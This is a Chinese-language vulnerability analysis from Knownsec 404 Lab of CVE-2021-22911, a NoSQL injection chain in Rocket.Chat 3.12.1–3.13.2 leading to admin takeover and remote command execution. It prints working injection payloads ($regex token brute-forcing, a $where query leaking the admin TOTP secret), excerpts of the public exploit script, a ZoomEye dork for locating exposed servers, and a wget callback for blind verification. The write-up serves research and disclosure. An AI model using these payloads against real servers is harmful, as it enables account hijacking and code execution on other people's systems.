作者:0x4qE@知道創宇404實驗室
時間:2021年7月28日
0x01 簡述
Rocket.Chat 是一個開源的完全可定制的通信平臺,由 Javascript 開發,適用于具有高標準數據保護的組織。
2021年3月19日,該漏洞在 HackerOne 被提出,于2021年4月14日被官方修復。該漏洞主要是因為 Mongodb 的查詢語句是類 JSON 形式的,如{"_id":"1"}。由于對用戶的輸入沒有進行嚴格的檢查,攻擊者可以通過將查詢語句從原來的字符串變為惡意的對象,例如{"_id":{"$ne":1}}即可查詢 _id 值不等于 1 的數據。
影響版本
3.12.1<= Rocket.Chat <=3.13.2
漏洞影響面
通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。
zoomeye dork 關鍵詞:app:"Rocket.Chat"
輸入CVE編號:CVE-2021-22911也可以關聯出ZoomEye dork


0x02 復現
復現環境為 Rocket.Chat 3.12.1。
使用 pocsuite3 編寫 PoC,利用 verify 模式驗證。

0x03 漏洞分析
該漏洞包含了兩處不同的注入,漏洞細節可以在這篇文章中找到,同時還可以找到文章作者給出的 exp。第一處在server/methods/getPasswordPolicy.js,通過 NoSQL 注入來泄露重置密碼的 token。
getPasswordPolicy(params) {
const user = Users.findOne({ 'services.password.reset.token': params.token });
if (!user && !Meteor.userId()) {
throw new Meteor.Error('error-invalid-user', 'Invalid user', {
method: 'getPasswordPolicy',
});
}
return passwordPolicy.getPasswordPolicy();
}
這里的 params 是用戶傳入的參數,正常來說,params.token 是一串隨機字符串,但在這里可以傳一個包含正則表達式的查詢語句 {'$regex':'^A'},例如下面這個例子意為查找一處 token 是以大寫字母 A 為開頭的數據。通過這個漏洞就可以逐字符的爆破修改密碼所需的 token。
Users.findOne({
'services.password.reset.token': {
'$regex': '^A'
}
})
第二處漏洞在 app/api/server/v1/users.js,需要登陸后的用戶才能訪問,通過這處注入攻擊者可以獲得包括 admin 在內的所有用戶的信息。注入點代碼如下:
API.v1.addRoute('users.list', { authRequired: true }, {
get() {
// ...
const { sort, fields, query } = this.parseJsonQuery();
const users = Users.find(query, {/*...*/}).fetch();
return API.v1.success({
users,
// ...
});
},
});
這處注入需要了解的知識點是,mongo 中的 $where 語句,根據文檔,查詢語句以這種形式展現 { $where: <string|JavaScript Code> },因此攻擊者可以注入 JavaScript 代碼,通過將搜索的結果以報錯的形式輸出。光說可能難以理解,通過一個例子就能很好地說明了。
攻擊者可以傳入這樣的 query:{"$where":"this.username==='admin' && (()=>{ throw this.secret })()"},就會構成下面這樣的查詢語句,意為查詢 username 為 admin 的用戶并將他的信息通過報錯輸出。
Users.find(
{
"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"
},
{/*...*/}
).fetch();
通過這個漏洞,就可以獲得 admin 的修改密碼的 token 和 2FA 的密鑰,即可修改 admin 的密碼,達到了提權的目的。Rocket.Chat 還為管理員賬戶提供了創建 web hooks 的功能,這個功能用到了 Node.js 的 vm 模塊,而 vm 模塊可以通過簡單的原型鏈操作被逃逸,達到任意命令執行的效果。至此,我們了解到了這一個命令執行漏洞的所有細節,接下來就通過分析漏洞發現者提供的 exp 來講一下漏洞利用的過程。
0x04 漏洞利用
這部分內容基于漏洞發現者給出的 exp,并結合我在復現過程中遇到的問題提出改進意見。
# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token through blind nosql injection
token = resettoken(target)
## Changing Password
changingpassword(target,token)
首先通過 getPasswordPolicy() 處的 token 泄露漏洞,修改普通用戶的密碼。然而需要注意的是,修改密碼的 token 長度為 43 個字符,這個爆破的工作量是很大的,且耗時非常長。因此在獲取普通用戶權限這一步,可以直接通過注冊功能完成,而不需要爆破驗證的 token。試想若是攻擊目標關閉了注冊功能,那意味著我們無法獲取到已注冊用戶的信息,也就無計可施了。
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
第二步是獲取管理員賬號的 2FA 密鑰,其中的 twofactor() 利用了第二處漏洞。
def twofactor(url,email):
# Authenticating
# ...
print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
在這個函數中直接默認了管理員賬號的 username 為 "admin",但是經過測試,并不是所有可攻擊的目標都以 "admin" 作為 username,那么就需要一種方法來獲取管理員賬號的 username。觀察 mongodb 中存儲的用戶數據:
{
"_id" : "x",
...
"services" : {
"password" : {
...
},
...,
"emails" : [ {
"address" : "x@x.com",
"verified" : true
} ],
"roles" : [ "admin" ],
"name" : "username",
...
}
每一個用戶字段中都有一條{"roles":[""]},通過{"$where":"this.roles.indexOf('admin')>=0"}來查詢管理員賬號的信息,隨后便可獲取管理員的 username。
第三步是修改管理員賬號的密碼,以獲得 admin 的權限。
## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
其中 forgotpassword() 這一步不可缺少,因為每次通過 reset token 來修改密碼以后,后臺會自動刪除該 token。在本地測試的時候,因為沒有 forgotpassword() 這一步,所以每次執行過 changingadminpassword() 以后,都會因為缺少 reset token 導致下一次 PoC 執行失敗。通過斷點調試找到了問題所在。
在.meteor/local/build/programs/server/packages/accounts-password.js line 1016
resetPassword: function () {
// ...
try {
// Update the user record by:
// - Changing the password to the new one
// - Forgetting about the reset token that was just used
// - Verifying their email, since they got the password reset via email.
const affectedRecords = Meteor.users.update({
'services.password.reset.token': token
}, {
$unset: {
'services.password.reset': 1,
}
});
}
}
每一次執行 resetPassword() 以后,都會清空 token。同樣在這個文件中,可以找到用于生成 reset.token 的函數 generateResetToken()。在此文件中共有三次出現,其中一次是函數定義,兩次是調用,分別于第 898 行和第 938 行被 sendResetPasswordEmail() 和 sendEnrollmentEmail() 調用。
Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {
const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);
sendResetPasswordEmail() 在申請重置密碼的時候被調用,sendEnrollmentEmail() 在用戶剛注冊的時候被調用。因此,想要獲得 reset.token 的值,就要先發起一個重置密碼的請求,讓后臺發送一封重置密碼的郵件。
最后一步就是執行任意命令了。
## Authenticating and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)
由于命令執行沒有回顯,因此我的做法是在本地監聽一個端口起一個 HTTP 服務器,然后執行 wget HTTP服務器地址/${random_str},如果 HTTP 服務器收到了路由為 /${random_str}的請求,則證明該服務存在漏洞。
0x05 后記
這次復現經過了挺長的時間,主要是由于這個漏洞利用的條件比較苛刻,需要滿足各種限制條件,比如需要開放注冊功能、管理員賬號開啟了 2FA、被攻擊目標的版本滿足要求。不過通過耐心的分析,把復現過程中遇到的問題一一解決,我還是很高興的。
0x06 防護方案
1、更新 Rocket.Chat 至官方發布的最新版。
0x07 相關鏈接
3、NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket
4、Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
5、mongo 文檔
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1652/
暫無評論